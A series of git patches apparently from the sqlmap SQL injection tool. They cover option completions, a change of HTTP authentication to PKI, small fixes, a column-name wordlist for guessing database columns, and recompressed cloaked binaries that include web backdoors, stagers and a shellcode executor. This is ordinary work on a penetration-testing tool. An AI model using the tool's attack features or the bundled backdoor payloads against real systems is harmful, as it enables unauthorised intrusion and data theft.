key value data]' \ - '(--reg-del)'--reg-del'[Delete a Windows registry key value]' \ - '(--reg-key)'--reg-key=-'[Windows registry key]:REGKEY' \ - '(--reg-value)'--reg-value=-'[Windows registry key value]:REGVAL' \ - '(--reg-data)'--reg-data=-'[Windows registry key value data]:REGDATA' \ - '(--reg-type)'--reg-type=-'[Windows registry key value type]:REGTYPE' \ - '(-t)'-t+'[Log all HTTP traffic into a textual file]:TRAFFICFILE' \ - '(--batch)'--batch'[Never ask for user input, use the default behaviour]' \ - '(--charset)'--charset=-'[Force character encoding used for data retrieval]:CHARSET' \ - '(--check-tor)'--check-tor'[Check to see if Tor is used properly]' \ - '(--crawl)'--crawl=-'[Crawl the website starting from the target url]:CRAWLDEPTH' \ - '(--csv-del)'--csv-del=-'[Delimiting character used in CSV output (default is ,)]:CSVDEL' \ - '(--dbms-cred)'--dbms-cred=-'[DBMS authentication credentials (user:password)]:DBMS authentication credentials' \ - '(--eta)'--eta'[Display for each output the estimated time of arrival]' \ - '(--flush-session)'--flush-session'[Flush session files for current target]' \ - '(--forms)'--forms'[Parse and test forms on target url]' \ - '(--fresh-queries)'--fresh-queries'[Ignores query results stored in session file]' \ - '(--hex)'--hex'[Uses DBMS hex function(s) for data retrieval]' \ - '(--output-dir)'--output-dir=-'[Custom output directory path]:ODIR' \ - '(--parse-errors)'--parse-errors'[Parse and display DBMS error messages from responses]' \ - '(--save)'--save'[Save options to a configuration INI file]' \ - '(--tor)'--tor'[Use Tor anonymity network]' \ - '(--tor-port)'--tor-port=-'[Set Tor proxy port other than default]:TORPORT' \ - '(--tor-type)'--tor-type=-'[Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)]:TORTYPE' \ - '(--update)'--update'[Update sqlmap]' \ - '(-z)'-z+'[Use short mnemonics (e.g. flu,bat,ban,tec=EU)]:MNEMONICS' \ - '(--check-payload)'--check-payload'[Offline WAF/IPS/IDS payload detection testing]' \ - '(--check-waf)'--check-waf'[Check for existence of WAF/IPS/IDS protection]' \ - '(--cleanup)'--cleanup'[Clean up the DBMS by sqlmap specific UDF and tables]' \ - '(--dependencies)'--dependencies'[Check for missing (non-core) sqlmap dependencies]' \ - '(--disable-coloring)'--disable-coloring'[Disable console output coloring]' \ - '(--gpage)'--gpage=-'[Use Google dork results from specified page number]:GOOGLEPAGE' \ - '(--mobile)'--mobile'[Imitate smartphone through HTTP User-Agent header]' \ - '(--page-rank)'--page-rank'[Display page rank (PR) for Google dork results]' \ - '(--purge-output)'--purge-output'[Safely remove all content from output directory]' \ - '(--smart)'--smart'[Conduct through tests only if positive heuristic(s)]' \ - '(--test-filter)'--test-filter=-'[Select tests by payloads and/or titles (e.g. ROW)]:test-filter' \ - '(--wizard)'--wizard'[Simple wizard interface for beginner users]' && return 0 - -case "$state" in - list-dbms) - _values -S : 'DBMS' 'access' 'db2' 'firebird' 'maxdb' 'mssqlserver' 'mysql' 'oracle' 'postgresql' \ - 'sqlite' 'sybase' - ;; - list-os) - _values -S : 'os' 'Linux' 'Windows' - ;; - list-techniques) - _values -S : 'technique' \ - 'B[Boolean]' 'E[Error]' 'U[Union]' 'S[Stacked]' 'T[Time]' - ;; -esac - -return 0 diff --git a/lib/core/enums.py b/lib/core/enums.py index ad4ad1ea6..325643b9e 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -323,4 +323,4 @@ class AUTH_TYPE: BASIC = "basic" DIGEST = "digest" NTLM = "ntlm" - CERT = "cert" + PKI = "pki" diff --git a/lib/core/option.py b/lib/core/option.py index e56e50cb0..0f535e216 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -27,6 +27,7 @@ import lib.request.connect from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage +from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import getPublicTypeMembers from lib.core.common import extractRegexResult @@ -133,8 +134,8 @@ from lib.request.basic import checkCharEncoding from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler -from lib.request.certhandler import HTTPSCertAuthHandler from lib.request.httpshandler import HTTPSHandler +from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.request.templates import getPageTemplate @@ -1102,17 +1103,17 @@ def _setAuthCred(): def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate), - username and password for first three methods, or key file and certification file for - certificate authentication + Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), + username and password for first three methods, or PEM private key file for + PKI authentication """ global authHandler - if not conf.authType and not conf.authCred and not conf.authCert: + if not conf.authType and not conf.authCred and not conf.authPrivate: return - elif conf.authType and not conf.authCred and not conf.authCert: + elif conf.authType and not conf.authCred and not conf.authPrivate: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) @@ -1122,15 +1123,15 @@ def _setHTTPAuthentication(): errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) - if not conf.authCert: + if not conf.authPrivate: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) aTypeLower = conf.authType.lower() - if aTypeLower not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.CERT): + if aTypeLower not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, NTLM or Cert" + errMsg += "Basic, Digest, NTLM or PKI" raise SqlmapSyntaxException(errMsg) elif aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" @@ -1140,9 +1141,9 @@ def _setHTTPAuthentication(): regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\username:password'" - elif aTypeLower == AUTH_TYPE.CERT: - errMsg = "HTTP Cert authentication require " - errMsg += "usage of option `--auth-cert`" + elif aTypeLower == AUTH_TYPE.PKI: + errMsg = "HTTP PKI authentication require " + errMsg += "usage of option `--auth-pki`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) @@ -1174,26 +1175,12 @@ def _setHTTPAuthentication(): authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: - debugMsg = "setting the HTTP(s) authentication certificate" + debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) - aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.authCert) - - if not aCertRegExp: - errMsg = "HTTP authentication certificate option " - errMsg += "must be in format 'key_file,cert_file'" - raise SqlmapSyntaxException(errMsg) - - # os.path.expanduser for support of paths with ~ - key_file = os.path.expanduser(aCertRegExp.group(1)) - cert_file = os.path.expanduser(aCertRegExp.group(2)) - - for ifile in (key_file, cert_file): - if not os.path.exists(ifile): - errMsg = "file '%s' does not exist" % ifile - raise SqlmapSyntaxException(errMsg) - - authHandler = HTTPSCertAuthHandler(key_file, cert_file) + key_file = os.path.expanduser(conf.authPrivate) + checkFile(key_file) + authHandler = HTTPSPKIAuthHandler(key_file) def _setHTTPMethod(): """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 055fab75d..86a222219 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -35,7 +35,7 @@ optDict = { "headers": "string", "authType": "string", "authCred": "string", - "authCert": "string", + "authPrivate": "string", "proxy": "string", "proxyCred": "string", "proxyFile": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b8a78fb24..e86620f47 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -117,15 +117,14 @@ def cmdLineParser(): request.add_option("--auth-type", dest="authType", help="HTTP authentication type " - "(Basic, Digest, NTLM or Cert)") + "(Basic, Digest, NTLM or PKI)") request.add_option("--auth-cred", dest="authCred", help="HTTP authentication credentials " "(name:password)") - request.add_option("--auth-cert", dest="authCert", - help="HTTP authentication certificate (" - "key_file,cert_file)") + request.add_option("--auth-private", dest="authPrivate", + help="HTTP authentication PEM private key file") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") diff --git a/lib/request/certhandler.py b/lib/request/pkihandler.py similarity index 72% rename from lib/request/certhandler.py rename to lib/request/pkihandler.py index 57dae6b23..79adbc55c 100644 --- a/lib/request/certhandler.py +++ b/lib/request/pkihandler.py @@ -10,14 +10,13 @@ import urllib2 from lib.core.data import conf -class HTTPSCertAuthHandler(urllib2.HTTPSHandler): - def __init__(self, key_file, cert_file): +class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): + def __init__(self, key_file): urllib2.HTTPSHandler.__init__(self) self.key_file = key_file - self.cert_file = cert_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): - return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout) + return httplib.HTTPSConnection(host, key_file=self.key_file, timeout=conf.timeout) diff --git a/sqlmap.conf b/sqlmap.conf index 194046da2..049650ba1 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -78,7 +78,7 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. -# Valid: Basic, Digest, NTLM or Cert +# Valid: Basic, Digest, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires @@ -86,10 +86,10 @@ authType = # Syntax: username:password authCred = -# HTTP Authentication certificate. Useful only if the target URL requires -# logon certificate and you have such data. -# Syntax: key_file,cert_file -authCert = +# HTTP Authentication PEM private key. Useful only if the target URL requires +# PKI authentication and you have such data. +# Syntax: key_file +authPrivate = # Use a proxy to connect to the target URL. # Syntax: http://address:port From f11e15a180e47afa6b3f0328037615d21d6bb896 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Sep 2013 23:22:10 +0200 Subject: [PATCH 075/889] Minor update --- lib/core/option.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 0f535e216..3744903dd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1123,17 +1123,18 @@ def _setHTTPAuthentication(): errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) + elif conf.authType.lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + errMsg = "HTTP authentication type value must be " + errMsg += "Basic, Digest, NTLM or PKI" + raise SqlmapSyntaxException(errMsg) + if not conf.authPrivate: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) aTypeLower = conf.authType.lower() - if aTypeLower not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): - errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, NTLM or PKI" - raise SqlmapSyntaxException(errMsg) - elif aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): + if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % aTypeLower errMsg += "value must be in format 'username:password'" From 31684dbc89b9a1a2883f5c982f6638a9b28582eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Sep 2013 16:16:46 +0200 Subject: [PATCH 076/889] Fix for an Issue #524 --- xml/queries.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/queries.xml b/xml/queries.xml index 05f53cc65..2b414d062 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -198,7 +198,7 @@ - + From 099e931a15634a3bede050ec522c2d232efa779f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 21 Sep 2013 12:24:49 +0200 Subject: [PATCH 077/889] Minor fix --- tamper/base64encode.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tamper/base64encode.py b/tamper/base64encode.py index a417de3aa..d087c4392 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import base64 from lib.core.enums import PRIORITY +from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST @@ -22,4 +23,4 @@ def tamper(payload, **kwargs): 'MScgQU5EIFNMRUVQKDUpIw==' """ - return base64.b64encode(payload) if payload else payload + return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload From df9b1d72de6f2d344ec4cc7030c9dd4781a8c952 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 24 Sep 2013 21:44:59 +0200 Subject: [PATCH 078/889] Minor update --- lib/core/option.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3744903dd..266150eb4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -100,6 +100,7 @@ from lib.core.settings import DB2_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT +from lib.core.settings import DUMMY_URL from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN @@ -2071,7 +2072,7 @@ def _basicOptionValidation(): errMsg = "switch '--forms' requires usage of option '-u' ('--url') or '-m'" raise SqlmapSyntaxException(errMsg) - if conf.requestFile and conf.url: + if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) From 2fbd7e8929cd1d152d2e0789a6de4fbc8c95411b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 24 Sep 2013 21:56:40 +0200 Subject: [PATCH 079/889] Minor fix --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 9581f8ed7..0a4a52791 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -101,7 +101,7 @@ class Agent(object): elif kb.postHint == POST_HINT.JSON: origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) else: - origValue = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) + origValue = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) or "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] From 6f2c89bd7c6fe7fdf9eef2faf70516d307dddfdf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 25 Sep 2013 10:22:23 +0200 Subject: [PATCH 080/889] Fix for an Issue #529 --- xml/queries.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/queries.xml b/xml/queries.xml index 2b414d062..a91d405b2 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -479,7 +479,7 @@ - + From 53a2fc23a0a1abd7b9f7fbaea41ecef550d408c8 Mon Sep 17 00:00:00 2001 From: Zaki Akhmad Date: Thu, 26 Sep 2013 20:32:58 +0700 Subject: [PATCH 081/889] add site:id common-columns --- txt/common-columns.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/txt/common-columns.txt b/txt/common-columns.txt index 101747d08..f545f1e9b 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -2545,3 +2545,14 @@ command brand_id disablepostctrl fieldname + +# site:id +akun +kata_sandi +katasandi +nama_akun +nama_pengguna +namaakun +namapengguna +pengguna +sandi From 45c88b36c6009c2ea787932e348d9ea44e57860c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 30 Sep 2013 09:33:14 +0200 Subject: [PATCH 082/889] Fix for an Issue #532 --- lib/core/dump.py | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index f55501cf8..199237749 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -525,18 +525,21 @@ class Dump(object): self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - mimetype = magic.from_buffer(value, mime=True) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath, 0755) + try: + mimetype = magic.from_buffer(value, mime=True) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath, 0755) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warn(warnMsg) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warn(warnMsg) - with open(filepath, "wb") as f: - _ = safechardecode(value, True) - f.write(_) + with open(filepath, "wb") as f: + _ = safechardecode(value, True) + f.write(_) + except magic.MagicException, err: + logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: From 8e2f4669d8948e791df08ce7d14de6de4d65b50d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Oct 2013 20:32:18 +0200 Subject: [PATCH 083/889] Removing dependency for bz2 as there are some reported problems with the library on non-standard platforms --- extra/cloak/cloak.py | 9 +++------ extra/icmpsh/icmpsh.exe_ | Bin 7206 -> 7009 bytes extra/shellcodeexec/linux/shellcodeexec.x32_ | Bin 1861 -> 1691 bytes extra/shellcodeexec/linux/shellcodeexec.x64_ | Bin 2082 -> 1927 bytes .../windows/shellcodeexec.x32.exe_ | Bin 3368 -> 2972 bytes lib/utils/versioncheck.py | 2 +- shell/backdoor.asp_ | Bin 299 -> 240 bytes shell/backdoor.aspx_ | Bin 488 -> 417 bytes shell/backdoor.jsp_ | Bin 440 -> 360 bytes shell/backdoor.php_ | Bin 551 -> 485 bytes shell/runcmd.exe_ | Bin 38017 -> 37206 bytes shell/stager.asp_ | Bin 1276 -> 1199 bytes shell/stager.aspx_ | Bin 604 -> 527 bytes shell/stager.jsp_ | Bin 1469 -> 1320 bytes shell/stager.php_ | Bin 444 -> 377 bytes 15 files changed, 4 insertions(+), 7 deletions(-) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 5283d67c7..508a77bb9 100755 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -9,6 +9,7 @@ See the file 'doc/COPYING' for copying permission import os import sys +import zlib from optparse import OptionError from optparse import OptionParser @@ -24,20 +25,16 @@ def hideAscii(data): return retVal def cloak(inputFile): - import bz2 - f = open(inputFile, 'rb') - data = bz2.compress(f.read()) + data = zlib.compress(f.read()) f.close() return hideAscii(data) def decloak(inputFile): - import bz2 - f = open(inputFile, 'rb') try: - data = bz2.decompress(hideAscii(f.read())) + data = zlib.decompress(hideAscii(f.read())) except: print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile sys.exit(1) diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index cd3c62e0960fa222da38e4113df5532d3e9c45d7..a1eb995cb860ea7939290b382484bdaf38b996b5 100644 GIT binary patch literal 7009 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 literal 7206 zcmV+>9NFVNB^O3cJ|o(oC*CcPnfCSjzJTmNXN)q=2yUtNl6Smn6=@D>B&wMsl zafhb~-I_&7*P99!&6}MG%?9rT-RKvDZ+3uR6`0e}W>0RWGNGi=fp_&y1v6$=`dF!{ zwr!rtrYrq3(J(C2Tm4t|nptc0Nu$8gKH`l-lhNrsN^mopZ)7Y!wPgk}l<-&d)Maf> 